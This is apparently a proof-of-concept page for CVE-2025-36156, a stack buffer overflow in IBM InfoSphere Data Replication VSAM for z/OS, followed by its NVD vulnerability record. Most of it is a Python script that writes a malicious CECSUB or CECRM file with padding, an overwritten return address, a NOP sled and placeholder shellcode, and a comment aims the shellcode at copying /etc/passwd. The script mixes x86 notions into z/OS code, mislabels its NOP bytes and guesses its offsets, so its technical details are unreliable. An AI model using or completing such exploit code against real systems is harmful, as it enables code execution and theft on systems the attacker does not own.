CVE-2025-36156

# CVE-2025-36156 - IBM InfoSphere Data Replication VSAM Stack-based Buffer Overflow PoC # This PoC demonstrates the concept of triggering a stack-based buffer overflow # by crafting a malicious CECSUB or CECRM file with oversized input data. # Target: IBM InfoSphere Data Replication VSAM for z/OS Remote Source 11.4 import struct import sys # Buffer size assumed by the vulnerable application (estimated) # The actual buffer size may vary; adjust based on reverse engineering BUFFER_SIZE = 256 # Offset to overwrite the return address (after buffer + saved RBP) # On z/OS (s390x), the stack frame typically has: # [local buffer][saved r6-r15][back chain]... # We need to calculate the exact offset to the return address OFFSET_TO_RET = BUFFER_SIZE + 8 # Approximate offset # Shellcode placeholder - NOP sled + shellcode # On z/OS s390x architecture: # - Instructions are 4 bytes (or 2 bytes for some) # - System call convention differs from x86 NOP_SLED = b'\x07\x07\x07\x07' * 16 # z/Architecture NOP equivalent (BCR 0,0) # Placeholder shellcode - would need to be replaced with actual # z/OS shellcode to spawn a shell or execute a command # Example: z/OS shellcode to execute "cp /etc/passwd /tmp/pwned" SHELLCODE = b'\x90\x00\x00\x00' # Placeholder instruction # Target return address - points to NOP sled in buffer # This address needs to be adjusted based on actual stack layout TARGET_RET_ADDR = struct.pack('>Q', 0x0000000080000000) # Example address def generate_malicious_file(output_path, file_type='CECSUB'): """ Generate a malicious CECSUB or CECRM file to trigger buffer overflow. Args: output_path: Path to write the malicious file file_type: Type of file to craft ('CECSUB' or 'CECRM') """ payload = b'' # File header (mimicking legitimate CECSUB/CECRM file format) if file_type == 'CECSUB': payload += b'CECSUB' # Magic bytes/identifier else: payload += b'CECRM' # Padding to fill the buffer payload += b'A' * (BUFFER_SIZE - len(payload)) # Overwrite saved registers payload += b'B' * 8 # Saved RBP/frame pointer # Overwrite return address with address pointing to NOP sled payload += TARGET_RET_ADDR # Additional padding payload += b'C' * 64 # NOP sled payload += NOP_SLED # Shellcode payload += SHELLCODE with open(output_path, 'wb') as f: f.write(payload) print(f"[*] Malicious {file_type} file generated: {output_path}") print(f"[*] Payload size: {len(payload)} bytes") print(f"[!] Note: This is a conceptual PoC. Real exploitation requires") print(f" knowledge of the target system's memory layout.") if __name__ == "__main__": file_type = sys.argv[1] if len(sys.argv) > 1 else 'CECSUB' output = sys.argv[2] if len(sys.argv) > 2 else f'malicious_{file_type.lower()}.bin' generate_malicious_file(output, file_type)

{"cve": {"id": "CVE-2025-36156", "sourceIdentifier": "[email protected]", "published": "2025-10-07T18:15:59.167", "lastModified": "2025-10-16T17:44:10.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM InfoSphere Data Replication VSAM for z/OS Remote Source 11.4 is vulnerable to a stack-based buffer overflow, caused by improper bounds checking. A local user with access to the files storing CECSUB or CECRM on the container could overflow the buffer and execute arbitrary code on the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:infosphere_data_replication_vsam_for_z\\/os_remote_source:11.4:*:*:*:*:*:*:*", "matchCriteriaId": "9CD8B7F4-04D0-479F-A18C-4DA88BFB0AE3"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7247224", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}